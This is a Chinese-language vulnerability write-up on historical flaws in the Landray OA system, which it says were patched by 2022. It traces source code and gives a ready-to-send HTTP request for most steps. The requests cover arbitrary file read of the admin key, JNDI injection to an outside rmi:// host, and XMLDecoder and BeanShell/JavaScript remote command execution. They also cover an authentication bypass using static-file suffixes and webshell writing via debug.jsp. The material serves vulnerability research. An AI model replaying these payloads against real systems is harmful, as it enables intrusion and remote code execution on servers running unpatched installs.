均为网上已经爆出的历史漏洞,其中最新的也已在2022年得到修复无法利用。
1. custom.jsp文件读取
/sys/ui/extend/varkind/custom.jsp
<%
JSONObject vara = JSONObject.fromObject(request.getParameter("var"));
JSONObject body = JSONObject.fromObject(vara.get("body"));
if(body.containsKey("file")){
%>
<c:import url='<%=body.getString("file") %>' charEncoding="UTF-8">
<c:param name="var" value="${ param['var'] }"></c:param>
</c:import>
<% }%>
可以看出来从var传参中拿json,json的body值中拿file,然后引用file。因此产生了一个任意文件读取。
最初公开的exp是用来读取admin.do的密钥的。
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}
jsp中的c:import标签和c:param标签是用来包含本地资源,或者引用远程资源的。
(依赖jstl.jar/standard.jar)
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<c:import url="http://java.sun.com" >
<c:param name="test" value="1234" />
</c:import>
这样实际上相当于引用http://java.sun.com?test=1234,不会执行代码,是一个SSRF。
如果使用/WEB-INF/web.xml,就会引用本地文件(jsp才会包含),无法用../逃脱目录,因此只能用来读取该项目的配置文件或者包含其他jsp(Servlet也可以,所以这里确切来说更像SSRF)。
当然,还可以用file:///etc/passwd以逃脱目录,但同样无法用来包含。所以有时候不能用相对路径读取admin.properties,就必须猜测绝对路径。
既然可以包含其他jsp或者Servlet,并且权限控制不在jsp中而是由路由分配,那么就产生了第二种利用方式,包含那些需要权限的jsp进行越权。具体有哪些可以继续看。
2. admin.do jndi/jdbc
通过漏洞1获取了admin的密钥,则可以进入一个管理员页面
/admin.do
很明显通过数据库测试功能我们可以创建一个JDBC或者JNDI连接,来造成反序列化/JNDI注入/任意文件读取等。具体怎么利用请自行搜索。
POST /admin.do HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=test
Content-Length: 55
method=testDbConn&datasource=rmi://s72tey.dnslog.cn/exp
但由于这个功能是靠独立的cookie鉴权的,因此无法用文件包含去越权。
3. sysSearchMain.do XMLdecode反序列化
/sys/search/sys_search_main/sysSearchMain.do
代码位于
kmss_sys_search.jar!com.landray.kmss.sys.search.actions.SysSearchMainAction
public ActionForward editParam(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
TimeCounter.logCurrentTime("Action-editParam", true, getClass());
KmssMessages messages = new KmssMessages();
try {
SysSearchMainForm mainForm = (SysSearchMainForm)form;
if (StringUtil.isNull(mainForm.getFdParemNames()))
return getActionForward("edit", mapping, form, request,
response);
Map<String, Object> searchConditionInfo = new HashMap<>();
List<SearchConditionEntry> entries =
SysSearchDictUtil.getParamConditionEntry(mainForm);
searchConditionInfo.put("entries", entries);
request.setAttribute("searchConditionInfo", searchConditionInfo);
setParametersToSearchConditionInfo(mainForm, searchConditionInfo);
} catch (Exception e) {
messages.addError(e);
}
TimeCounter.logCurrentTime("Action-editParam", false, getClass());
if (messages.hasError()) {
KmssReturnPage.getInstance(request).addMessages(messages)
.addButton(0).save(request);
return getActionForward("failure", mapping, form, request, response);
}
return getActionForward("editParam", mapping, form, request,
response);
}
ActionForm类为封装的参数,先判断mainForm.getFdParemNames()是否为空,然后是核心代码setParametersToSearchConditionInfo(mainForm, searchConditionInfo),跟进。
protected void setParametersToSearchConditionInfo(SysSearchMainForm mainForm, Map<String, Object> searchConditionInfo) throws Exception {
if (StringUtil.isNotNull(mainForm.getFdParameters())) {
Map<String, Map<String, String>> parameters =
ObjectXML.objectXMLDecoderByString(mainForm.getFdParameters())
.get(0);
searchConditionInfo.put("parameters", parameters);
}
}
可以看到mainForm.getFdParameters()经过了objectXMLDecoderByString()处理,因此此处存在XMLDecoder反序列化,由于此OA存在bsh,因此可直接执行命令。
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 328
var={"body":{"file":"/sys/search/sys_search_main/sysSearchMain.do?method=editParam"}}&fdParemNames=11&fdParameters=<java><void class="bsh.Interpreter"><void method="eval"><string>Runtime.getRuntime().exec("calc");</string></void></void></java>
而bsh可直接回显或者打入内存马如下。
更多XMLDecoder反序列化payload自寻。
同action下rtnEditParam也存在一模一样的问题。
4. dataxml.jsp 等代码执行
/sys/common/dataxml.jsp
/sys/common/treexml.jsp
/sys/common/treejson.jsp
/sys/common/datajson.jsp
/data/sys-common/dataxml
/data/sys-common/treexml
/data/sys-common/datajson
/sys/common目录下有一系列神奇的jsp,而且它们有几个还有对应的分身,为了方便,我们直接去jar包看分身的源码。
kmss_core.jar!com.landray.kmss.common.actions.DataController
@RequestMapping(value = {"datajson"}, produces = {"application/json;charset=UTF-8"})
@ResponseBody
public RestResponse<JSONArray> datajson(HttpServletRequest request, HttpServletResponse response) throws Exception {
String s_bean = request.getParameter("s_bean");
JSONArray array = new JSONArray();
JSONArray jsonArray = null;
try {
Assert.notNull(s_bean, "参数s_bean不能为空!");
RequestContext requestInfo = new RequestContext(request, true);
String[] beanList = s_bean.split(";");
List result = null;
for (int i = 0; i < beanList.length; i++) {
IXMLDataBean treeBean = (IXMLDataBean)SpringBeanUtil.getBean(beanList[i]);
result = treeBean.getDataList(requestInfo);
s_bean传参,可以用分号分割,然后依次getBean,最终强转成IXMLDataBean,将整个RequestContext传进去调用getDataList()。也就是说,我们可以调用任意实现了IXMLDataBean接口的getDataList(),那么搜索getDataList发现如下类。
其中SysFormulaValidate可造成bsh代码执行。
public List getDataList(RequestContext requestInfo) throws Exception {
List<Map<Object, Object>> rtnVal = new ArrayList();
Map<Object, Object> node = new HashMap<>();
String msg = null;
String confirm = null;
try {
String script = requestInfo.getParameter("script");
String type = requestInfo.getParameter("returnType");
String funcs = requestInfo.getParameter("funcs");
String model = requestInfo.getParameter("model");
FormulaParser parser = FormulaParser.getInstance(requestInfo,
new ValidateVarGetter(null), model);
if (StringUtil.isNotNull(funcs)) {
String[] funcArr = funcs.split(";");
for (int i = 0; i < funcArr.length; i++)
parser.addPropertiesFunc(funcArr[i]);
}
Object value = parser.parseValueScript(script, type);
script传参,跟进parseValueScript()
public Object parseValueScript(String script, String type) throws EvalException, KmssUnExpectTypeException {
Object value = parseValueScript(script);
if (StringUtil.isNotNull(type))
value = getSysMetadataParser().formatValue(value, type);
return value;
}
继续跟进parseValueScript()
public Object parseValueScript(String script) throws EvalException {
if (StringUtil.isNull(script))
return null;
Interpreter interpreter = new Interpreter();
ClassLoader loader = Thread.currentThread().getContextClassLoader();
try {
if (loader != null)
interpreter.setClassLoader(loader);
StringBuffer importPart = new StringBuffer();
importPart.append("import ").append(
OtherFunction.class.getPackage().getName()).append(
".*;\r\n");
StringBuffer preparePart = new StringBuffer();
StringBuffer leftScript = new StringBuffer();
String rightScript = script.trim();
Map<String, FunctionScript> funcScriptMap = new HashMap<>();
/*.............*/
String m_script = String.valueOf(importPart.toString()) + preparePart.toString() +
leftScript + rightScript;
if (logger.isDebugEnabled())
logger.debug("执行公式:" + m_script);
runningData.set(this.contextData);
return interpreter.eval(m_script);
可以发现就是bsh代码执行,因此POC可以构造出来。
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
var={"body":{"file":"/data/sys-common/datajson"}}&s_bean=sysFormulaValidate&script=Runtime.getRuntime().exec("whoami");
而其他6个接口代码和/data/sys-common/datajson类似,因此一共七处地方可以调用SysFormulaValidate.getDataList()执行bsh代码。
/sys/common/dataxml.jsp
/sys/common/treexml.jsp
/sys/common/treejson.jsp
/sys/common/datajson.jsp
/data/sys-common/dataxml
/data/sys-common/treexml
/data/sys-common/datajson
那么其他IXMLDataBean就没问题了吗,我们继续看SysFormulaValidateByJS。
public List getDataList(RequestContext requestInfo) throws Exception {
List<Map<Object, Object>> rtnVal = new ArrayList();
Map<Object, Object> node = new HashMap<>();
String msg = null;
String confirm = null;
try {
String script = requestInfo.getParameter("script");
String type = requestInfo.getParameter("returnType");
String funcs = requestInfo.getParameter("funcs");
String model = requestInfo.getParameter("model");
FormulaParserByJS parser = FormulaParserByJS.getInstance(requestInfo,
new ValidateVarGetter(null), model);
if (StringUtil.isNotNull(funcs)) {
String[] funcArr = funcs.split(";");
for (int i = 0; i < funcArr.length; i++)
parser.addPropertiesFunc(funcArr[i]);
}
Object value = parser.parseValueScript(script, type);
向下跟就会发现。
ScriptEngineManager factory = new ScriptEngineManager();
ScriptEngine engine = factory.getEngineByMimeType("text/javascript");
/*.............*/
return engine.eval(m_script);
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 176
var={"body":{"file":"/data/sys-common/datajson"}}&s_bean=sysFormulaValidateByJS&script=new java.lang.ProcessBuilder['(java.lang.String[])'](['sh','-c','touch /tmp/1']).start();
这种sink点不少,甚至其他jar也有,具体不一一表述。
5. dataxml等越权
上文提到的
/data/sys-common/dataxml
/data/sys-common/treexml
/data/sys-common/datajson
存在静态资源后缀越权,直接访问如下
增加静态资源后缀,js/png/tmpl则可直接访问
因此POC如下。
POST /data/sys-common/dataxml.js HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
s_bean=sysFormulaValidate&script=Runtime.getRuntime().exec("id");
其原因是静态资源走ResourceCacheFilter,无需权限校验。
WEB-INF/KmssConfig/sys/authentication/spring.xml
而该OA的useSuffixPatternMatch开关又默认开启,导致可以通过增加静态资源后缀进行权限绕过。
6. erp_data.jsp代码执行
/tic/core/resource/js/erp_data.jsp
和dataxml.jsp一样,唯一不同的是传参变了。
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
var={"body":{"file":"/tic/core/resource/js/erp_data.jsp"}}&erpServcieName=sysFormulaValidate&script=Runtime.getRuntime().exec("whoami");
7. debug.jsp代码执行
/sys/common/debug.jsp
<%
String code = request.getParameter("fdCode");
if(code!=null){
code = "<"+"%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\""+
" pageEncoding=\"UTF-8\"%"+"><" + "% " + code + " %" + ">";
FileOutputStream outputStream = new FileOutputStream(ConfigLocationsUtil.getWebContentPath()+"/sys/common/code.jsp");
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(
outputStream, "UTF-8"));
bw.write(code);
bw.close();
%>
额,非常直白的写jsp。
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
var={"body":{"file":"/sys/common/debug.jsp"}}&fdCode=out.println("Hello world");
然后再访问code.jsp
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
var={"body":{"file":"/sys/common/code.jsp"}}